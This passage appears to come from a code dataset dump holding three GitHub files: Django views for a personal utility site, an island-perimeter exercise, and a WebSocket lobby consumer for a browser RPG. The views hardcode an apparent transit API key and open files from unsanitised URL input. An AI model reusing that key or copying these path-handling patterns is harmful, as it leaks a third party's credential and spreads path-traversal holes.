FileWrapper(open('media/youtube/'+str(title)+\".mp4\", 'rb'))\n            response = HttpResponse(file_path, content_type='video/mp4')\n            response['Content-Disposition'] = 'attachment; filename= \"' + title.title() + '.mp4\"'\n            return response\n    else:\n        thumbnail = yt.thumbnail_url\n        title = yt.title\n        list = yt.streams.filter(subtype='mp4', type='video').order_by('resolution').desc().all()\n        resolution = []\n        fps = []\n        itag = []\n        for element in list:\n            if str(element.resolution) not in resolution:\n                resolution.append(str(element.resolution))\n                fps.append(str(element.fps))\n                itag.append(str(element.itag))\n        barre = BarreRaccourcie.objects.all()\n        name = 'Youtube Downloader'\n        return render(request, 'youtube_quality.html', {\n            'resolutions': resolution,\n            'fps': fps,\n            'itag': itag,\n            'barre': barre,\n            'name': name,\n            'thumbnail': thumbnail,\n            'title': title,\n            })\n\n@login_required()\ndef youtube_delete(request):\n    folder = listdir('media/youtube')\n    for file in folder:\n        os.remove('media/youtube/'+str(file))\n    return HttpResponse(\"<h1> All is clean :)</h1>\")\n\ndef file_bus(request, file):\n    stream = open('staticfiles/robert_bus/'+str(file), 'rb')\n    response = FileResponse(stream)\n    return response\n\ndef bus_home(request):\n    if request.method == 'POST':\n        stopA = request.POST.get('stopA')\n        stopR = request.POST.get('stopR')\n        return redirect('bus_link',stopA,stopR)\n    else:\n        return render(request, 'robert_bus.html',)\n\ndef bus_link(request, stopa, stopr):\n    baseUrl = \"https://traffic.api.iledefrance-mobilites.fr/v1/tr-vianavigo/departures?line_id=016096001%3A14&stop_point_id=\"\n    apiKey = \"810bbc8b4a96f25b28f1f45112762a585233e89c5f0eb9bb0bf1f580\"\n    stopA = stopa\n    stopR = stopr\n    if stopA == 'stopPoint:60:379':\n        nameA = \"GARE D'ENGHIEN-LES-BAINS\"\n    elif stopA == 'stopPoint:60:581':\n        nameA = \"GARE DE CHAMP DE COURSES D'ENGHIEN\"\n    elif stopA == 'stopPoint:60:598':\n        nameA = \"GENDARMERIE\"\n    elif stopA == 'stopPoint:60:575':\n        nameA = \"BONNE AUBERGE\"\n    elif stopA == 'stopPoint:60:634':\n        nameA = \"LES TOURELLES\"\n    elif stopA == 'stopPoint:60:342':\n        nameA = \"MONT D'EAUBONNE\"\n    elif stopA == 'stopPoint:60:334':\n        nameA = \"BOIS JACQUES\"\n    elif stopA == 'stopPoint:60:346':\n        nameA = \"TILLEULS\"\n    elif stopA == 'stopPoint:60:336':\n        nameA = \"HOTEL DE VILLE\"\n    elif stopA == 'stopPoint:60:338':\n        nameA = \"JEANNE D'ARC\"\n    elif stopA == 'stopPoint:60:344':\n        nameA = \"LA SABLIERE\"\n    elif stopA == 'stopPoint:60:340':\n        nameA = \"CHAUSSEE JULES CESAR\"\n\n    if stopR == 'stopPoint:60:1032':\n        nameR = \"GARE D'ERMONT EAUBONNE\"\n    elif stopR == 'stopPoint:60:581':\n        nameR = \"GARE DE CHAMP DE COURSES D'ENGHIEN\"\n    elif stopR == 'stopPoint:60:598':\n        nameR = \"GENDARMERIE\"\n    elif stopR == 'stopPoint:60:575':\n        nameR = \"BONNE AUBERGE\"\n    elif stopR == 'stopPoint:60:634':\n        nameR = \"LES TOURELLES\"\n    elif stopR == 'stopPoint:60:342':\n        nameR = \"MONT D'EAUBONNE\"\n    elif stopR == 'stopPoint:60:334':\n        nameR = \"BOIS JACQUES\"\n    elif stopR == 'stopPoint:60:346':\n        nameR = \"TILLEULS\"\n    elif stopR == 'stopPoint:60:336':\n        nameR = \"HOTEL DE VILLE\"\n    elif stopR == 'stopPoint:60:338':\n        nameR = \"JEANNE D'ARC\"\n    elif stopR == 'stopPoint:60:344':\n        nameR = \"LA SABLIERE\"\n    elif stopR == 'stopPoint:60:340':\n        nameR = \"CHAUSSEE JULES CESAR\"\n    url = baseUrl + stopA + \"&apikey=\" + apiKey\n    resp = requests.get(url=url)\n    data = resp.json()\n    scheduleA = []\n    i = 0\n    while len(scheduleA) < 2:\n        if data[i]['sens'] == 'A':\n            scheduleA.append(i)\n            i += 1\n        else:\n            i += 1\n    nextStopA = data[scheduleA[0]]['time']\n    nextnextStopA = data[scheduleA[1]]['time']\n    url = baseUrl + stopR + \"&apikey=\" + apiKey\n    resp = requests.get(url=url)\n    data = resp.json()\n    scheduleR = []\n    i = 0\n    while len(scheduleR) < 2:\n        if data[i]['sens'] == 'R':\n            scheduleR.append(i)\n            i += 1\n        else:\n            i += 1\n    nextStopR = data[scheduleR[0]]['time']\n    nextnextStopR = data[scheduleR[1]]['time']\n    return render(request, 'robert_bus_schedule.html', {'timeA': nextStopA, 'timeR': nextStopR, 'timenexta': nextnextStopA, 'timenextr': nextnextStopR, 'nameR': nameR, 'nameA': nameA})\n\n\ndef robert(request):\n    return render(request, 'robert2.html')\n\n\ndef p5js(request):\n    return render(request,'TPjs/index.html')\n\ndef exo(request,number):\n    return render(request,'TPjs/exo.html',{'number':number})\n\ndef frac(request,string):\n    string = urldecode(string)\n    return render(request,'TPjs/'+string+'.html')\n\n\ndef qrcode(request):\n    barre = BarreRaccourcie.objects.all()\n    name = 'QR code'\n    if request.method == 'POST':\n        url = request.POST.get('url')\n        return render(request,'qr.html',{'barre': barre,'url': url, 'name': name})\n    else:\n        return render(request,'qr.html',{'barre': barre,'name': name})\n\ndef steganography(request):\n    barre = BarreRaccourcie.objects.all()\n    name = 'stegano_encrypt'\n    if request.method == 'POST':\n        form = SteganoForm(request.POST, request.FILES)\n        message = request.POST.get(\"message\")\n        key = request.POST.get(\"key\")\n        form.save()\n        stegas = Stegano.objects.all()\n        #picture = face[0]['picture']\n        for stega in stegas:\n            picture = stega.picture.name\n        randomname = random.randint(1, 999999)\n        picture = picture.split('/')[1]\n        path = 'media/steganography/'+picture\n        picture = 'media/steganography/results/Encrypt-'+str(randomname)+os.path.splitext(picture)[0]+'.png'\n        im = Image.open(path)\n        output = os.path.splitext(path)[0]+str(randomname)+'.png'\n        im.convert('RGB').save(output,\"PNG\")\n        crypto_steganography = CryptoSteganography(str(key))\n        # Save the encrypted file inside the image\n        crypto_steganography.hide(output, picture, str(message))\n        secret = crypto_steganography.retrieve(picture)\n        directory='media/steganography/'\n        for file in os.scandir(directory):\n            if file.name.endswith(\".jpg\"):\n                os.unlink(file.path)\n        stegas.delete()\n        return render(request,'stegano.html',{'barre': barre,'name': name,'picture': picture,'secret':secret})\n    else:\n        steg = Stegano.objects.all()\n        steg.delete()\n        return render(request,'stegano.html',{'barre': barre,'name': name})\n\ndef steganographydecrypt(request):\n    barre = BarreRaccourcie.objects.all()\n    name = 'stegano_decrypt'\n    if request.method == 'POST':\n        form = SteganoForm(request.POST, request.FILES)\n        key = request.POST.get(\"key\")\n        form.save()\n        stegas = Stegano.objects.all()\n        for stega in stegas:\n            picture = stega.picture.name\n        crypto_steganography = CryptoSteganography(str(key))\n        randomname = random.randint(1, 999999)\n        path = 'media/'+picture\n        secret = crypto_steganography.retrieve(path)\n        directory='media/steganography/'\n        for file in os.scandir(directory):\n            if file.name.endswith(\".jpg\"):\n                os.unlink(file.path)\n        stegas.delete()\n        return render(request,'steganodecrypt.html',{'barre': barre,'name': name,'message': secret})\n    else:\n        return render(request,'steganodecrypt.html',{'barre': barre,'name': name})\n    \ndef face_recognition(request):\n    barre = BarreRaccourcie.objects.all()\n    name = 'Face Recognition'\n    if request.method == 'POST':\n        form = FaceForm(request.POST, request.FILES)\n        color = request.POST.get(\"color\")\n        color = color[1:]\n        decolor = tuple(int(color[i:i+2], 16) for i in (4, 2, 0))\n        #picture = request.FILES['picture'].name\n        form.save()\n        faces = FaceRecognition.objects.all()\n        #picture = face[0]['picture']\n        for face in faces:\n            picture = face.picture.name\n        randomname = random.randint(1, 999999)\n        path = 'media/face_AI/'+picture.split('/')[1]\n        im = Image.open(path)\n        im.convert('RGB').save(os.path.splitext(path)[0]+str(randomname)+'.jpg',\"JPEG\")\n        imagePath = 'media/'+os.path.splitext(picture)[0]+str(randomname)+'.jpg'\n        cascadeClassifierPath = \"media/haarcascade_frontalface_alt.xml\"\n        cascadeClassifier = cv2.CascadeClassifier(cascadeClassifierPath)\n        image = cv2.imread(imagePath)\n        grayImage = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n        detectedFaces = cascadeClassifier.detectMultiScale(grayImage)\n        for (x,y,width,height) in detectedFaces:\n            cv2.rectangle(image, (x,y), (x+width, y+height),decolor,5)\n        picture = 'FaceR-'+str(randomname)+picture.split('/')[1]\n        cv2.imwrite('media/face_AI/results/'+picture, image)\n        directory='media/face_AI/'\n        for file in os.scandir(directory):\n            if file.name.endswith(\".png\") or file.name.endswith(\".jpg\"):\n                os.unlink(file.path)\n        faces.delete()\n        return render(request,'face_recognition.html',{'barre': barre,'name': name,'picture':picture})\n    else:\n        faces = FaceRecognition.objects.all()\n        faces.delete()\n        faceform = FaceForm()\n        return render(request,'face_recognition.html',{'barre': barre,'name': name,'faceform':faceform})\n\n\ndef translate(request):\n    barre = BarreRaccourcie.objects.all()\n    name=\"translation\"\n    if request.method == \"POST\":\n        orginal_text = request.POST.get(\"orginal_text\")\n        splitText = orginal_text.split(\"\\r\\n\")\n\n        t = Translator(\"EN\", \"FR\")\n        translatedText = []\n        for text in splitText:\n            translatedText.append(t.translate_sentences(text))\n        return render(request,'translate.html',{'barre':barre,'name':name,'translatedText':translatedText})\n    else:\n        return render(request,'translate.html',{'barre':barre,'name':name})\n    \n    \ndef random_person(request):\n    barre = BarreRaccourcie.objects.all()\n    name=\"Face Generation\"\n    if request.method == 'POST':\n        number = int(request.POST.get(\"number\"))\n        picturesArray = []\n        picturesCheksum = []\n        i = 0\n        mypath = 'media/doesnotexist/'\n        onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n        while i<number:\n            if i<10:\n                picture = get_online_person()  # bytes representation of the image\n                checksum2 = get_checksum_from_picture(picture)  # Method is optional, defaults to \"md5\"\n                if checksum2 not in picturesCheksum:\n                    randomname = random.randint(100000000, 999999999)\n                    path = \"media/doesnotexist/Random_Person_\"+str(randomname)+\".jpeg\"\n                    save_picture(picture, path)\n                    picturesArray.append(path)\n                    picturesCheksum.append(checksum2)\n                    i+=1\n            else:\n                listnb = random.randint(0, len(onlyfiles)-1)\n                if \"media/doesnotexist/\"+onlyfiles[listnb] not in picturesArray:\n                    picturesArray.append(\"media/doesnotexist/\"+onlyfiles[listnb])\n                    i+=1\n        return render(request,'random_person.html',{'picturesArray':picturesArray,'barre':barre,'name':name,'number':number})\n    else:\n        number = 10\n        return render(request,'random_person.html',{'barre':barre,'name':name,'number':number})\n\n\ndef sendmail(request,matiere,note):\n    send_mail(\"Nouvelle note \",matiere+\" : \"+note,\"test@gmail.com\", ['emile.delmas@gmail.com'])\n    return render(request,'sendmail.html')\n\ndef mathtraining(request):\n    barre = BarreRaccourcie.objects.all()\n    name=\"Bac Maths\"\n    exercices = Exercice.objects.all()\n    chapitres = []\n    total = exercices.count()\n    for ex in exercices:\n        liste = ex.chapitres.split('\\n')\n        for chapitre in liste:\n            if chapitre.replace('\\r','') not in chapitres:\n                chapitres.append(chapitre.replace('\\r',''))\n    if request.method == 'POST':\n        time = request.POST.get(\"time\")\n        number = request.POST.get(\"number\")\n        types = request.POST.get(\"type\")\n        number_selected = []\n        chapitres_selected = []\n        chapitres_not_selected = []\n        for chapitre in chapitres:\n            number_selected.append(request.POST.get(chapitre, '') == 'on')\n        \n        for i in range(0,len(chapitres)):\n            if number_selected[i]==True:\n                chapitres_selected.append(chapitres[i])\n            else:\n                chapitres_not_selected.append(chapitres[i])\n        ex = exercices\n        #for chapitre in chapitres_selected:\n        #exercices = exercices.filter(chapitres__in=chapitres_selected)\n        queries = [Q(chapitres__icontains=chapitre) for chapitre in chapitres_selected]\n        # Take one Q object from the list\n        query = queries.pop()\n        # Or the Q object with the ones remaining in the list\n        for item in queries:\n            query |= item\n        exercices = exercices.filter(query)\n        for chapitre in chapitres_not_selected:\n            exercices = exercices.exclude(chapitres__icontains=chapitre)\n        exercices = exercices.order_by('?')\n        old_exercices = exercices\n\n        if types == \"time\":\n            total_time = int(time)\n            exclude_pk = []\n            for exercice in old_exercices:\n                tim = int(exercice.points)*10\n                if int(exercice.points)*10 <= total_time:\n                    total_time = total_time - int(exercice.points)*10\n                else:\n                    exclude_pk.append(exercice.pk)\n            exercices = exercices.exclude(pk__in=exclude_pk)\n            total_time = 0\n            for exercice in exercices:\n                total_time += int(exercice.points)*10\n            hour = math.floor(total_time/60)\n            minutes = total_time-hour*60\n        else:\n            include_pk = []\n            exclude_pk = []\n            i = 0\n            for exercice in exercices:\n                if i<int(number):\n                    include_pk.append(exercice.pk)\n                i+=1\n            for exercice in exercices:\n                if exercice.pk not in include_pk:\n                    exclude_pk.append(exercice.pk)\n            exercices = exercices.exclude(pk__in=exclude_pk)\n            hour = \"illimité\"\n            minutes = 0\n        seriesChapitres = []\n        for ex in exercices:\n            liste = ex.chapitres.split('\\n')\n            for chapitre in liste:\n                if chapitre.replace('\\r','') not in seriesChapitres:\n                    seriesChapitres.append(chapitre.replace('\\r',''))\n        number = exercices.count()\n        return render(request,'exercice_math.html',{'exercices':exercices,'hour':hour,'minutes':minutes,'seriesChapitres':seriesChapitres,'chapitres':chapitres_selected,'number':number,'barre':barre,'name':name})\n    else:\n        number = 120\n        return render(request,'trainingmath.html',{'number':number,'exercices':exercices,'chapitres':chapitres,'barre':barre,'name':name,'total':total})\n","repo_name":"emiledelmas/vkshub","sub_path":"main_hub/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":31032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"41070748119","text":"#!/usr/bin/python3\n\"\"\"Island Perimeter Technical Interview\"\"\"\n\n\ndef num_water_neighbors(grid, land, water):\n    \"\"\"Function that returns the land & water grid\"\"\"\n\n    num = 0\n\n    if land <= 0 or not grid[land - 1][water]:\n        num += 1\n    if water <= 0 or not grid[land][water - 1]:\n        num += 1\n    if water >= len(grid[land]) - 1 or not grid[land][water + 1]:\n        num += 1\n    if land >= len(grid) - 1 or not grid[land + 1][water]:\n        num += 1\n\n    return num\n\n\ndef island_perimeter(grid):\n    \"\"\"Function that returns the perimeter of grid\"\"\"\n\n    perime = 0\n    for i in range(len(grid)):\n        for j in range(len(grid[i])):\n            if grid[i][j]:\n                perime += num_water_neighbors(grid, i, j)\n    return perime\n","repo_name":"YemiReble/alx-low_level_programming","sub_path":"0x1C-makefiles/5-island_perimeter.py","file_name":"5-island_perimeter.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"45068696063","text":"import json\nfrom channels.generic.websocket import AsyncWebsocketConsumer\nfrom asgiref.sync import sync_to_async\nfrom channels.db import database_sync_to_async\nfrom rjh_rpg.models import GameScenes, LobbySlots\nfrom django.contrib.auth.models import User\nfrom rjh_rpg.models import GameState\nfrom rjh_rpg.models import UserChar\nfrom django.db.models.functions import Now\nfrom datetime import datetime, time\nfrom rjh_rpg.models import Games\nfrom rjh_rpg.models import UserCharInGames\nfrom rjh_rpg.rpg_tools import rpg_websocket_get_config\nfrom rjh_rpg.rpg_tools  import rpg_websocket_user_char_chat_heartbeat\n\nclass Consumer(AsyncWebsocketConsumer):\n    \n    html_table_top = \"\"\"\n    <table>\n    <tr>\n    \n    \"\"\"\n    \n    html_placeselector = \"\"\"\n    \n    <td>\n    <input style=\"min-width: 0;width: auto;\" type=\"text\" id=\"slot_id_**slot_id**\" name=\"slot_id_**slot_id**\" value=\"**slot_id_char_name**\" disabled><br />\n    <!--<input type=\"submit\" value=\"**button_text**\" onclick=\"**js_button_function**(**slot_id**);\" **button_disabled**>-->\n    <button type=\"submit\" id=\"submit\" class=\"rpgui-button golden\" onclick=\"**js_button_function**(**slot_id**);\" **button_disabled**><p>**button_text**</p></button>\n    </td>\n    \n    \"\"\"    \n    \n    html_table_bottom = \"\"\"\n    </tr>\n    </table>\n    \n    <p><small><u>Tipp:</u> Um an einem Spiel teilzunehmen, klicke oben auf \"<i>Platz belegen</i>\"!</small></p>\n    \n    \"\"\"\n\n    \n    \n    async def connect(self):\n        self.room_name = self.scope['url_route']['kwargs']['scene_id']\n        #self.room_group_name = 'lobby-%s' % self.room_name\n        self.msg_group_name = 'lobby-%s' % self.room_name\n\n        await self.channel_layer.group_add(\n            self.msg_group_name,\n            self.channel_name\n        )\n        \n        await self.accept()\n                \n        await self.channel_layer.group_send(\n            self.msg_group_name, \n            {\n                'type': 'msg_group_send_init',\n            }\n        )\n\n    async def msg_group_send_init(self, event):\n        await self.channel_layer.group_send(\n            self.msg_group_name, { 'type': 'msg_group_send_content',  } \n        )\n        \n    async def msg_group_send_content(self, event):\n        try:\n            countdown = event['countdown']\n        except:\n            countdown = \"\"\n\n        try:\n            char_id = event['char_id']\n        except:\n            char_id = \"\"\n            \n        if char_id != \"\":\n            user_char_name = await self.db_get_char_id_char_name(char_id)    \n            \n        else:\n            user_char_name = \"\"\n        \n        scene_name = await self.db_get_scene_name()\n        html = self.html_table_top.replace(\"**scene_name**\",scene_name) \n        num_players = await self.db_get_num_players()\n\n        \n        for slot_id in range(num_players):\n            if slot_id != 0 and slot_id % 3 == 0: # linebreak in table every 4 slots\n                html = html + \"</tr><tr>\"\n\n            slot_state = await self.db_get_slot_state(slot_id)\n\n            slot_template = self.html_placeselector\n            slot_template = slot_template.replace('**slot_id**',str(slot_id))\n\n            char_name = \"\"\n            \n            if  slot_state == 1: # slot is used \n                char_name = await self.db_get_slot_char_name(slot_id)\n                slot_template = slot_template.replace('**js_button_function**','free_the_slot')\n                slot_template = slot_template.replace('**button_text**','Platz freigeben')\n\n                # (OPT/LATER/BONUS) every user gets the same html string. set a button to disabled, \n                # could be solved in the client with JS\n                \n                slot_template = slot_template.replace('**button_disabled**','**button_disabled_for_lvl2**')\n                    \n            else: # slot is free\n                slot_template = slot_template.replace('**js_button_function**','take_the_slot')\n                slot_template = slot_template.replace('**button_text**','Platz belegen')\n                slot_template = slot_template.replace('**button_disabled**','**button_disabled_for_lvl2**')\n\n\n            if char_name == False:\n                char_name = \"\"\n\n            slot_template = slot_template.replace('**slot_id_char_name**',char_name)\n\n            html = html + slot_template \n\n        html = html + self.html_table_bottom\n        html = html.replace('\\n','')\n\n        # Coundown logic part:\n\n        if countdown == \"\":  # no countdown, clear html part in template\n            countdown_html = ''\n        else:  # countdown is running\n            countdown = (int(countdown) - await rpg_websocket_get_config(\"lobby_countdown_duration\")) * -1\n\n            countdown_html = \"\"\"\n            <p style=\"color:**countdown_color**;\">**seconds** Sekunden bis Spielstart!</p>\n            \"\"\"\n\n            # disable button to free slot when countdown hits 5 seconds\n            if countdown < 3:\n                countdown_html = countdown_html.replace('**countdown_color**', 'red')\n            elif countdown < 4:\n                countdown_html = countdown_html.replace('**countdown_color**', 'orange')\n            if countdown < 5:\n                countdown_html = countdown_html.replace('**countdown_color**', 'green')\n            \n            if countdown < 2:\n                html = html.replace('**button_disabled_for_lvl2**','disabled')\n            else:\n                html = html.replace('**button_disabled_for_lvl2**','')\n                \n            countdown_html = countdown_html.replace('**seconds**', str(countdown))\n\n            if countdown < 1:\n                user_char_list = await self.db_get_user_chars_in_lobby()\n                self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n                locked_in_datetime = await self.db_get_list_datetime_locked_in(self.scene_id)\n                # locked_in_datetime = locked_in_datetime[0].strftime()\n                \n                try:\n                    game_id = await self.db_start_game(self.scene_id, user_char_list, locked_in_datetime[0])\n                except:\n                    print(\"Catch: Error on change from lobby to game\")\n                \n                countdown_html = \"\"\"\n                <h1>Das Spiel startet...</h2>\n                <br />\n                <h2>...angemeldete Spieler <a href=\"/game-**game_id**/\">wechseln jetzt bitte zum Spiel</a>...</h4>\n                <br />\n                <p>...alle anderen Spieler gehen bitte zurück in <a href=\"/worldmap-\"\"\"+str(char_id)+\"\"\"/\">die Worldmap</a>...<br />\n                ...oder rufen <a href=\"/worldmap-\"\"\"+str(char_id)+\"\"\"/lobby-**scene_id**/\">diese Seite</a> für einen Neustart der Lobby erneut auf... </p>\n                <br /><br />\n                \"\"\"\n                countdown_html = countdown_html.replace(\"**scene_id**\", str(self.scene_id))\n\n                try:\n                    await self.db_free_all_slots_in_current_lobby()\n                except:\n                    pass                \n                \n                html = countdown_html.replace(\"**game_id**\", str(game_id))\n                countdown_html = \"\"                \n                \n                \n\n        html = html + countdown_html \n\n        await self.send(text_data=json.dumps({ # send data update\n            'lobby_msg': str(html),\n        }))\n\n\n    async def disconnect(self, close_code):\n        await self.channel_layer.group_discard(\n            self.msg_group_name,\n            self.channel_name\n        )\n\n    \n    async def receive(self, text_data):\n        text_data_json = json.loads(text_data)\n        message = text_data_json['lobby_msg']\n        char_id = text_data_json['char_id']\n\n        if message == 'heartbeat':\n            try:\n                heartbeat_char_id = text_data_json['char_id']\n                await rpg_websocket_user_char_chat_heartbeat(heartbeat_char_id)\n            except:\n                pass            \n           \n            # check if all slots are taken\n            req_players = await self.db_get_num_players()\n            players_in_lobby = 0\n            for slot in range(req_players):\n                slot_state = await self.db_get_slot_state(slot)\n                if slot_state == 1: # slot is used\n                    players_in_lobby = players_in_lobby + 1\n                    \n            if req_players == players_in_lobby: # lobby is full \n                \n                # create/check countdown\n                # do all slots have the same timestamp in countdown?\n                \n                locked_in_datetimes = await self.db_get_list_datetime_locked_in(self.scene_id)\n                \n                # catch excepted error on list access (if no results where found)\n                try:\n                    last_timestamp = locked_in_datetimes[0]\n                except:\n                    pass\n                \n                # singleplayer check and repair (and catch excepted exception)\n                try:\n                    if last_timestamp is None and req_players == 1: \n                        last_timestamp = datetime.now()\n                except:\n                    pass\n                    \n                timestamps_are_the_same = True\n                \n                for timestamp in locked_in_datetimes:\n                    if last_timestamp != timestamp:\n                        timestamps_are_the_same = False\n                    if (last_timestamp is None) and (timestamp is None):\n                        timestamps_are_the_same = False\n                \n                if timestamps_are_the_same:  # check if countdown is over\n                    now = int(datetime.now().strftime('%s'))\n                    \n                    last_timestamp = int(last_timestamp.strftime('%s'))\n                    timediff = now-last_timestamp\n                    \n                    if timediff > 0: # wait a second for updates...\n                        await self.channel_layer.group_send(\n                            self.msg_group_name, { \n                                                  'type': 'msg_group_send_content',  \n                                                  'countdown' : str(timediff), \n                                                  'char_id' : char_id,\n                                                  } \n                        )            \n                    \n                else:\n                    set_datetimes = await self.db_set_datetime_locked_in()\n                \n            else:\n                pass # lobby is not full\n            \n            # if yes, then replace slot table with form to join a scene, broadcast to all\n            \n        if message == 'free_the_slot':\n            slot_id = text_data_json['slot_id']\n            \n            await self.db_free_slot(slot_id, char_id)\n            \n            await self.channel_layer.group_send(\n                self.msg_group_name, { 'type': 'msg_group_send_content', 'char_id' : char_id,  } \n            )            \n        \n        if message == 'take_the_slot':\n            slot_id = text_data_json['slot_id']\n            \n            await self.db_set_char_to_slot(slot_id, char_id)\n                     \n            await self.channel_layer.group_send(\n                self.msg_group_name, { 'type': 'msg_group_send_content',  'char_id' : char_id, } \n            )            \n\n\n    async def msg_group_do_send(self, event):\n        message = event['lobby_msg']\n\n        await self.send(text_data=json.dumps({\n            'lobby_msg': message,\n        }))\n        \n    @database_sync_to_async     \n    def db_get_num_players(self):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        scene = GameScenes.objects.filter(id=self.scene_id) # place 0 = worldmap\n        num_players = scene[0].req_players\n        return num_players\n\n    @database_sync_to_async     \n    def db_get_scene_name(self):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        scene = GameScenes.objects.filter(id=self.scene_id) # place 0 = worldmap\n        scene_name = scene[0].name\n        return scene_name\n\n    @database_sync_to_async     \n    def db_get_slot_state(self, slot_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        if LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id).exists():\n            return 1 #used\n        else:\n            return 0 #free\n    \n    @database_sync_to_async     \n    def db_get_slot_char_name(self, slot_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        if LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id).exists():\n            char_name = LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id)\n            return str(char_name[0].user_char_id.name)\n        else:\n            return False\n\n    @database_sync_to_async     \n    def db_get_char_id_char_name(self, char_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        if LobbySlots.objects.filter(game_scene_id=self.scene_id, user_char_id=char_id).exists():\n            char_id_name = LobbySlots.objects.filter(game_scene_id=self.scene_id, user_char_id=char_id)\n            return char_id_name[0].user_char_id\n        else:\n            return ''\n\n    @database_sync_to_async     \n    def db_get_slot_char_id(self, slot_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        if LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id).exists():\n            char_id = LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id)\n            return int(char_id[0].user_char_id.id)\n        else:\n            return \"Error\"\n\n    @database_sync_to_async     \n    def db_set_char_to_slot(self, slot_id, char_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        \n        new_lobby_slot = LobbySlots()\n        \n        new_lobby_slot.slot_id = slot_id\n\n        char_id_obj = UserChar.objects.filter(id=char_id)\n        new_lobby_slot.user_char_id = char_id_obj[0]\n        \n        scene_id_obj = GameScenes.objects.filter(id=self.scene_id) # place 0 = worldmap        \n        new_lobby_slot.game_scene_id = scene_id_obj[0]\n        \n        try: \n            new_lobby_slot.save()\n            if LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id).exists():\n                char_name = LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id)\n                return \"save: ok\"\n            else:\n                return \"save: error\"\n        except:\n            return \"save: double\"\n\n    @database_sync_to_async     \n    def db_free_slot(self, slot_id, char_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        try:\n            LobbySlots.objects.get(game_scene_id=self.scene_id, slot_id=slot_id, user_char_id=char_id).delete()\n        except:\n            return \"delete: alien char_id\"\n\n        try: \n            if LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id).exists():\n                char_name = LobbySlots.objects.filter(game_scene_id=self.scene_id, slot_id=slot_id)\n                return \"delete: still there\"\n            else:\n                return \"delete: ok\"\n        except:\n            return \"delele: wierd error\"\n\n    @database_sync_to_async     \n    def db_get_list_datetimes(self, slot_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        \n        list_of_slot_entrys = LobbySlots.objects.filter(game_scene_id=self.scene_id).order_by('slot_id')\n        \n        locked_in = []\n        slot_taken = []\n        \n        for row in list_of_slot_entrys:\n            locked_in.append(row.datetime_locked_in)\n            slot_taken.append(row.datetime_slot_taken)\n            \n        return (locked_in,slot_taken)\n\n\n    @database_sync_to_async     \n    def db_get_list_datetime_locked_in(self, slot_id):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        list_of_slot_entrys = LobbySlots.objects.filter(game_scene_id=self.scene_id).order_by('slot_id')\n        locked_in = []\n        \n        for row in list_of_slot_entrys:\n            locked_in.append(row.datetime_locked_in)\n            \n        return locked_in\n    \n    @database_sync_to_async     \n    def db_set_datetime_locked_in(self):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        try:\n            LobbySlots.objects.filter(game_scene_id=self.scene_id).update(datetime_locked_in=Now())\n            return True\n        except:\n            return False\n\n    @database_sync_to_async     \n    def db_start_game(self, scene_id, user_char_list, locked_in_datetime):\n\n        scene_id_obj = GameScenes.objects.filter(id=scene_id) # place 0 = worldmap        \n        game_scene_id = scene_id_obj[0]\n\n        # add game to db model 'Games'\n        game_id_obj, game_id_freshly_created = Games.objects.get_or_create(game_scene_id = game_scene_id, locked_in_datetime = locked_in_datetime)\n        game_id = game_id_obj.id\n        \n        # if game_id is new: add users, user chars and game id to db model 'UserCharInGames'\n        # also add welcome text from game to game_log\n        if game_id_freshly_created == True:\n            for user_char in user_char_list:\n                new_UserCharInGames = UserCharInGames()\n                new_UserCharInGames.game_id = game_id_obj\n                new_UserCharInGames.user_char_id = user_char\n                new_UserCharInGames.current_hp = UserChar.objects.get(name=user_char).hp\n                new_UserCharInGames.current_ap = UserChar.objects.get(name=user_char).ap\n                new_UserCharInGames.save()\n\n            gamelog_init_text = \"<b> 💬 Intro:</b> <br /> \" + str(scene_id_obj[0].welcome_text)\n\n            for user_char in user_char_list:\n                gamelog_init_text = gamelog_init_text + \"&#127918; \" + str(user_char) + \" kommt ins Spiel... <br />\"\n                \n            gamelog_init_text = gamelog_init_text + \"<br />&#128126; \" + str(scene_id_obj[0].enemy_name) + \" sagt: \\\"<i>\" + str(scene_id_obj[0].boss_welcome_text) + \"</i>\\\"<br />\"\n\n            gamelog_init_text = gamelog_init_text + \"<br />&#128126; \" + str(scene_id_obj[0].enemy_name) + \" beginnt einen Angriff! <br />\"\n            # the above is important for ethical and moral reasons ;-) \n\n            enemy_current_hp = int(scene_id_obj[0].enemy_hp)\n            enemy_current_ap = int(scene_id_obj[0].enemy_ap)\n            gamelog_init_text = gamelog_init_text + \"&#128126; \" + str(scene_id_obj[0].enemy_name) + \" hat \" + str(enemy_current_hp) + \" Lebenspunkte und eine Angriffskraft von \" + str(enemy_current_ap) + \" Punkten.<br /> <br />\" \n\n            Games.objects.filter(id=game_id).update(game_log=gamelog_init_text, enemy_current_hp=enemy_current_hp, enemy_current_ap=enemy_current_ap)\n\n        return game_id\n\n    @database_sync_to_async     \n    def db_get_user_chars_in_lobby(self):\n        self.scene_id = self.scope['url_route']['kwargs']['scene_id']\n        list_of_user_chars = 